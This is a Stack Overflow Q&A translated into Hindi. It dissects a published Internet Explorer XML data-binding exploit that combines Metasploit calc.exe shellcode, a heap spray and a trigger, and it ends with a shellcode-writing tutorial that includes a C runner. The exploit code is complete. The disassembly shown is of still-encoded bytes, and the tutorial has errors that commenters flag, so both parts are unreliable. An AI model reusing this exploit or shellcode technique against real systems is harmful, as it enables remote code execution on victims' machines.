यह कैसे काम करता है?


145

मुझे आमतौर पर जावास्क्रिप्ट कोड पढ़ने में कठिनाई नहीं होती है, लेकिन इसके लिए मैं तर्क का पता नहीं लगा सकता। कोड एक शोषण से है जिसे 4 दिन पहले प्रकाशित किया गया है। आप इसे milw0rm पर पा सकते हैं ।

यहाँ कोड है:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

यहाँ मुझे विश्वास है कि यह करता है और मैं चाहूंगा कि आप उस हिस्से के लिए मेरी मदद करें जिसे मैं गलत समझता हूं।

चर shellcodeको खोलने के लिए कोड है calc.exe। मुझे नहीं पता कि उन्होंने उस अजीब तार को कैसे पाया। कोई उपाय?

दूसरी चीज परिवर्तनशील है spray। मुझे यह अजीब लूप समझ नहीं आता।

तीसरी चीज वह चर है memoryजिसका कभी भी कहीं भी उपयोग नहीं किया जाता है। वे इसे क्यों बनाते हैं?

अंतिम बात: पेज में XML टैग क्या करता है?


फिलहाल मेरे पास अच्छे जवाब हैं लेकिन ज्यादातर बहुत सामान्य हैं। मुझे कोड के मूल्य के बारे में और स्पष्टीकरण चाहिए। एक उदाहरण है unescape("%u0a0a%u0a0a");। इसका क्या मतलब है? लूप के लिए एक ही बात: डेवलपर ने क्यों लिखा length < 0xd0000:? मैं इस कोड का सिद्धांत ही नहीं, गहरी समझ भी चाहूंगा।


आपको ढेर छिड़काव में देखना चाहिए: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe

हम इस शोषण को सफलतापूर्वक कैसे चलाते हैं? क्या हमें इसे IE में चलाना है?
bad_keypoint

जवाबों:


320

शेलकोड में कुछ x86 असेंबली निर्देश हैं जो वास्तविक शोषण करेंगे। sprayनिर्देशों का एक लंबा क्रम बनाता है जिसे अंदर रखा जाएगा memory। चूँकि हम आमतौर पर मेमोरी में अपने शेलकोड की सही स्थिति का पता नहीं लगा सकते हैं, हम nopइससे पहले बहुत सारे निर्देश डालते हैं और वहाँ कहीं कूद जाते हैं। memoryसरणी कूद तंत्र के साथ वास्तविक x86 कोड का आयोजन करेगा। हम तैयार किए गए XML को लाइब्रेरी में फ़ीड करेंगे जिसमें बग है। जब यह पार्स किया जा रहा है, तो बग हमारे अनुदेशक को कहीं न कहीं असाइन किए जाने वाले इंस्ट्रक्शन पॉइंटर रजिस्टर का कारण बनेगा, जिससे मनमाने ढंग से कोड निष्पादन हो सकेगा।

अधिक गहराई से समझने के लिए, आपको वास्तव में पता लगाना चाहिए कि x86 कोड में क्या है। चर unscapeमें स्ट्रिंग का प्रतिनिधित्व बाइट्स के अनुक्रम को रखने के लिए उपयोग किया जाएगा spray। यह मान्य x86 कोड है जो ढेर का एक बड़ा हिस्सा भरता है और शेलकोड की शुरुआत में कूदता है। समाप्ति की स्थिति का कारण स्क्रिप्टिंग इंजन की स्ट्रिंग लंबाई सीमाएं हैं। आपके पास विशिष्ट लंबाई से बड़ा तार नहीं हो सकता।

X86 असेंबली में, 0a0aप्रतिनिधित्व करता है or cl, [edx]। यह प्रभावी रूप से nopहमारे शोषण के उद्देश्यों के लिए निर्देश के बराबर है । हम जहां भी कूदते हैं spray, हम अगले निर्देश तक पहुंचेंगे जब तक कि हम उस शेलकोड तक नहीं पहुंच जाते हैं जो वह कोड है जिसे हम वास्तव में निष्पादित करना चाहते हैं।

यदि आप XML को देखते हैं, तो आप देखेंगे 0x0a0aकि वहाँ भी है। वास्तव में यह वर्णन करने के लिए कि क्या होता है शोषण के विशिष्ट ज्ञान की आवश्यकता होती है (आपको यह जानना होगा कि बग कहां है और इसका दोहन कैसे किया जाता है, जो मुझे नहीं पता है)। हालाँकि, ऐसा लगता है कि हम इंटरनेट एक्सप्लोरर innerHtmlको उस दुर्भावनापूर्ण XML स्ट्रिंग को सेट करके छोटी गाड़ी कोड को ट्रिगर करने के लिए मजबूर करते हैं । इंटरनेट एक्सप्लोरर इसे पार्स करने की कोशिश करता है और छोटी गाड़ी कोड किसी भी तरह से मेमोरी के स्थान को नियंत्रित करता है जहां सरणी मौजूद है (चूंकि यह एक बड़ा हिस्सा है, वहां कूदने की संभावना अधिक है)। जब हम वहां कूदते हैं तो सीपीयू or cl, [edx]निर्देशों को निष्पादित करेगा जब तक कि शेलकोड की शुरुआत तक नहीं पहुंच जाता है जो स्मृति में डाल दिया जाता है।

मैंने शेलकोड डिसाइड किया है:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

इस शेलकोड को समझने के लिए x86 असेंबली नॉलेज और खुद MS लाइब्रेरी में समस्या (यह जानने के लिए कि सिस्टम की स्थिति क्या है जब हम यहाँ तक पहुँचते हैं) की आवश्यकता है, जावास्क्रिप्ट की नहीं! यह कोड बदले में निष्पादित होगा calc.exe


13
मैं इस अन्वेषण के लिए आपके इस प्रयास की सराहना करता हूं। ५:२ प्रतिष्ठा और मेरा सारा सम्मान। धन्यवाद
पैट्रिक Desjardins

20
महान जवाब लेकिन अच्छा स्वामी - अचानक मैं कंप्यूटर के साथ अच्छा नहीं हूं ;-)
उपयोगकर्ता नाम

50
मैं ऐसे लोगों से हैरान हूं जो इस प्रकार के कारनामों के साथ आने का प्रबंधन करते हैं। यदि वे किसी के बैंक खाते को हैक करने के लिए पर्याप्त चतुर हैं, तो वे उन सभी धन के लायक हैं जो वे चुरा सकते हैं;)
मार्टिन

8
यदि एसओ के लिए अच्छे उत्तरों का एक मंदिर था, तो यह उसमें होगा।
सैन जैसिंटो

6
Disassemby निरर्थक और पूरी तरह से यादृच्छिक लगता है। यह सही नहीं हो सकता। मैंने बाइट्स को स्वैप करने की कोशिश की, यह मानते हुए कि एक स्ट्रिंग में पात्रों को थोड़ा-एंडियन में संग्रहीत किया गया था, लेकिन इससे मदद नहीं मिली।
जुहो Justman

10

यह हाल ही में इंटरनेट एक्सप्लोरर बग के एक शोषण की तरह दिखता है, जिसके लिए माइक्रोसॉफ्ट ने आपातकालीन पैच जारी किया था। यह Microsoft के XML हैंडलर के डेटाबाइंडिंग फ़ीचर में एक दोष का उपयोग करता है, जिससे हीप मेमोरी को गलत तरीके से डील किया जाता है।

शेलकोड मशीन कोड है जो बग होने पर चलेगा। स्प्रे और मेमोरी केवल कुछ स्थान हैं जो कि शोषणकारी स्थिति उत्पन्न करने में मदद करने के लिए ढेर पर आवंटित किए गए हैं।


क्या आपको लगता है कि क्रोम के एक्सटेंशन के साथ ऐसा कुछ सामान हो सकता है?
bad_keypoint


2

किसी भी समय मुझे ऐसी मेमोरी दिखाई देती है जो किसी शोषक चर्चा में संबोधित नहीं होती है, मेरा पहला विचार यह है कि शोषण किसी प्रकार का बफर अतिप्रवाह है, इस स्थिति में या तो बफर के अतिप्रवाह के कारण मेमोरी होती है या बफर ओवरफ्लो होने के बाद एक्सेस की जाती है ।


इस मामले में यह ढेर भ्रष्टाचार नहीं था, हीप आधारित बफर उग आया या स्टैक-आधारित बफर ओवररन: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-ddl.aspx
ग्रांट वैगनर

0

यह मेटास्प्लोइट से है, इसका मतलब है कि यह मेटास्प्लोइट शेल कोड में से एक का उपयोग कर रहा है। यह खुला स्रोत है ताकि आप इसे ले जा सकें और इसे पकड़ सकें: http://www.metasploit.com/


0

HTML में कैरेक्टर एनकोडिंग देखें ।

यह बाइनरी डेटा एक स्ट्रिंग के रूप में एन्कोडेड है, जिसे जावास्क्रिप्ट डिकोड कर रहा है।

XSS का सामान्य रूप भी।

आप यहाँ सभी एन्कोडिंग ट्रिक्स देख सकते हैं:

http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project


0

सरल कवच उदाहरण

असेंबली में हैलो वर्ल्ड एट टी एंड सिंटैक्स x86 मेरा मानना ​​है (ट्रेनिंग में विजार्ड)।

फ़ाइल सेट करें:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

जैसे संकलन:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

अब आपके पास एक बाइनरी है जो हैलो वर्ल्ड को प्रिंट करता है। बाइनरी को शेल कोड प्रकार में बदलने के लिए:objdump -D shellcode

आपको आउटपुट मिलेगा:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

अब यदि आप पाठ के साथ चौथी पंक्ति को देखेंगे तो आप देखेंगे: 400078: eb 1a jmp 0x400094

वह हिस्सा जो कहता eb 1aहै कि विधानसभा निर्देश का हेक्साडेसिमल प्रतिनिधित्व है jmp oneजहां "एक" आपके स्ट्रिंग का मेमोरी एड्रेस है।

निष्पादन के लिए अपनी शेलकोड तैयार करने के लिए एक अन्य टेक्स्ट फ़ाइल खोलें और एक वर्ण सरणी में हेक्स मानों को संग्रहीत करें। शेल कोड को सही ढंग से प्रारूपित करने के लिए आप \xप्रत्येक हेक्स मान से पहले टाइप करते हैं ।

आगामी शेल कोड उदाहरण objdump कमांड आउटपुट के अनुसार निम्नलिखित होगा:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

यह उदाहरण सरणी के लिए C का उपयोग करता है। अब आपके पास काम कर रहे शेलकोड हैं जो "हेल्लो वर्ल्ड" को लिखने के लिए लिखेंगे

आप शेल कोड को भेद्यता में रखकर परीक्षण कर सकते हैं या आप इसे जांचने के लिए निम्नलिखित सी प्रोग्राम लिख सकते हैं:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

कार्यक्रम के प्रकार को संकलित करने के लिए:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

./run आपके साथ चलाना आपको पता है कि सरल शेलकोड विकास का एक कार्यशील उदाहरण है, जिसे लिनक्स मिंट / डेबियन में परीक्षण किया गया था।


1
int 0x8064-बिट कोड में 32-बिट ABI का उपयोग न करें । यह स्टैक पर स्ट्रिंग्स के लिए विफल हो जाएगा, क्योंकि कर्नेल केवल syscall args के कम 32 बिट्स को देखता है। यदि आप 64-बिट कोड में 32-बिट int 0x80 लिनक्स ABI का उपयोग करते हैं तो क्या होगा? । (उस स्थिति में आप एक अनंत लूप बनाएंगे, क्योंकि sys_writeवापस आ जाएगा -EFAULT, और mov $1, %alऊपरी बिट्स सेट कर देगा, इसलिए आपको -ENOSYSsys_exit के बजाय मिलता है )। इसके अलावा, 64-बिट कोड में आप केवल jmpस्ट्रिंग पर आगे जा सकते हैं और leaकॉल / पॉप के बजाय पता प्राप्त करने के लिए एक आरआईपी-रिश्तेदार का उपयोग कर सकते हैं ।
पीटर कॉर्डेस

1
यह Gcc के लिए भी विफल हो जाएगा जो डिफ़ॉल्ट रूप से PIE निष्पादक बनाता है, क्योंकि तब भी आपका स्टैटिक-स्टोरेज चार सरणी कम 32 बिट्स के बाहर होगा। (और BTW, अगर ऐसा const char payload[]होता तो यह टेक्स्ट सेगमेंट (इनरोडाटा सेक्शन) में होता और आपको इसकी आवश्यकता नहीं होती -z execstack।)
पीटर कॉर्ड्स

1
इसके अलावा, movl 4, %raxएक शून्य बाइट शामिल है (और ऑपरेंड-आकार के बेमेल के कारण इकट्ठा नहीं होगा, और $इसलिए लापता है 4 एक पूर्ण पता है)। मुझे लगता है कि आपने अपने स्रोत का एक प्रारंभिक संस्करण पोस्ट किया है। मेरी पहले की टिप्पणियाँ उस डिसएस्पेशन को देखने से हैं जहाँ आपने sys_exitकॉल किया था ।
पीटर कॉर्ड्स
हमारी साइट का प्रयोग करके, आप स्वीकार करते हैं कि आपने हमारी Cookie Policy और निजता नीति को पढ़ और समझा लिया है।
Licensed under cc by-sa 3.0 with attribution required.